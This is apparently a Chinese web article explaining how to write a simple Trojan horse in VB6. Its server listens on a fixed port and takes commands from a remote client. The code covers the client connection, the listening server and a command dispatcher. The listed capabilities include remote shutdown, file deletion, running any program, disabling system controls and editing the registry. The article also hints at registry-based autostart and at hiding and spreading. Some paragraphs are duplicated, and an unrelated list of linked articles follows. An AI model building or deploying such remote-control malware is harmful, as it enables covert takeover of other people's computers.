“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

  使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

   在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()
 If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
  MsgBox ("请输入主机名或主机IP地址。")
  Exit Sub
 Else
  If Len(Text1.Text) > 0 Then
   tcpClient.RemoteHost = Text1.Text
  Else
   tcpClient.RemoteHost = Text2.Text
  End If
 End If
 tcpClient.Connect
 Timer1.Enabled = True
End Sub

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()
 tcpServer.LocalPort = 1999
 tcpServer.Listen
End Sub

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
 If tcpServer.State < > sckClosed Then
  tcpServer.Close‘检查控件的 State 属性是否为关闭的。
 End If ’如果不是,在接受新的连接之前先关闭此连接。
 tcpServer.Accept requestID
End Sub

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)

 Dim strData As String
 Dim i As Long
 Dim mKey As String

 tcpServer.GetData strData
 ‘接收数据并存入strData
 For i = 1 To Len(strData)
  ‘分离strData中的命令
  If Mid(strData, i, 1) = "@" Then
   mKey = Left(strData, i - 1)
   ‘把命令ID号存入mKey

   ‘把命令参数存入strData
   strData = Right(strData, Len(strData) - i)
   Exit For
  End If
 Next i
 Select Case Val(mKey)
  Case 1
  ‘驱动器名、目录名、文件名
  Case 2
   强制关闭服务器端的计算机
  Case 3
   强制重启服务器端的计算机
  Case 4
   屏蔽任务栏窗口;
  Case 5
   屏蔽开始菜单;
  Case 6
   按照客户机端传过来的文件名或目录名,而删除它;
  Case 7
   屏蔽热启动键;
  Case 8
   运行服务器端的任何程序
 End Select
End Sub

  详细程序略。

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏

浅谈用VB6.0编写“特洛伊木马”程序相关推荐

  1. VB6.0编写的程序,安装时系统提示:安装程序无法创建以下文件夹:%CommonFiles%\Microsoft Shared\DAO...

    VB6.0编写的程序,安装时系统提示:安装程序无法创建以下文件夹:%CommonFiles%\Microsoft Shared\DAO 解决:将对应文件的"安装到"目录从:%Com ...

  2. 浅谈信息学竞赛考场策略及程序测试

    浅谈信息学竞赛考场策略及程序测试 主题 本文作者是江苏省常州高级中学吴翼同学发布的信息学竞赛江苏省论文.内容对于大家备考十分有帮助,特分享给同学们,希望在中秋假期给大家的学习增加一点动力! 考场策略和 ...

  3. 浅谈用delphi来编写蠕虫病毒

    能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一 ...

  4. 使用vb6.0编写的随机生成双色球中奖号码(预测)

    使用vb6.0编写的随机生成双色球中奖号码(预测) 2019/10/1 12:16 最近研究双色球,在网络上搜索到这里: http://blog.sina.com.cn/s/blog_4cd4ffc4 ...

  5. android分屏模式_浅谈 Android 7.0 多窗口分屏模式的实现

    从 Android 7.0 开始,Google 推出了一个名为"多窗口模式"的新功能,也就是我们常说的"分屏模式".那么,这个功能有什么用呢?作为开发者,我们又 ...

  6. 浅谈 Web 3.0

    这篇文章的目的就是简单解释一下这个「Web 3.0」新概念. 为了更好地理解「Web 3.0」,我们可能需要从 「Web 1.0」和「Web 2.0」说起. 浅谈 Web 3.0 「Web 1.0」 ...

  7. 编程浅谈-以一个初出茅庐的Java程序员视角

    编者是一个从事Java开发的普通软件攻城狮,迄今为止,粗粗算来不过刚刚进入编程的世界不过两年,但在这两年的光阴里,每当我抬头仰望星空(苦命加班)时脑海里总有这样一个疑问--"什么是编程&qu ...

  8. 用VC++6.0编写拨号程序 作者:陈晓东 (转)

    用VC++6.0编写拨号程序 作者:陈晓东 (转)[@more@]用VC++6.0编写拨号 程序 作者:陈晓东 发布时间:2001/05/22   文章摘要: 本文利用visual c++6.0给出了 ...

  9. 用 .Net Framework 4.0 制作的安装程序来安装 .Net Framework 4.0 编写的程序

    文章题目看起来有点绕,解释一下,假如你基于框架写了一个程序,想装到客户机上,但是客户机上可能并没有安装框架,因此你的程序需要预先将框架安装在目标机上,然后再执行一些安装程序的标准功能,如创建快捷方式. ...

最新文章

  1. CSR稀疏矩阵存储方式
  2. 微信多开txt_微信仅需3步操作,就能多开登录?手把手包教包会
  3. 大数据将改变信息生命周期管理
  4. Python收发邮件
  5. LeetCode 31 Next Permutation(下一个全排列)
  6. kuangbin带我飞QAQ DLX之一脸懵逼
  7. PIL模块与随机生成中文验证码
  8. Android开发笔记(四十七)Runnable接口实现多线程
  9. Discuz 3x重新声明内置函数$解决jQuery冲突
  10. 超市管理系统的服务器,超市管理系统
  11. 左耳朵耗子:公司监控员工行为,这事逻辑就不对
  12. 常见几种编码格式及比较
  13. CentOS7 设置笔记本触摸板
  14. 2021牛客多校10F Train Wreck (贪心,思维题)
  15. jQuery自定义动画animate函数的step属性
  16. 另一大短视频网址无水印下载,爱了吗?
  17. Java基础(32)
  18. JavaScript实现鼠标点击监听---弹出社会主义核心价值观(面向对象小练习)
  19. Win10 系统下安装 vim
  20. JS document方法

热门文章

  1. ATmega8,ATmega16,最小系统板,第一个好评来啦!
  2. Springboot 集成邮件服务 QQ邮箱
  3. 从ERP应用谈对BOM的理解
  4. Unity烘培灯光贴图切换到Android平台后画质下降的问题
  5. html 双 直线 公文,公文排版格式(二)
  6. 2014年最新显卡天梯图
  7. 初学者之《复刻英雄联盟官网之人脸识别登录》①
  8. 两台计算机只换硬盘可以吗,客户带电脑来升级,两台变成一台,客户:一台电脑就换一个硬盘?...
  9. 计算机网络恶搞,史上最贱恶搞软件来袭Cancer:只为搞崩你的电脑
  10. 用Ajax做的一棵无限级目录树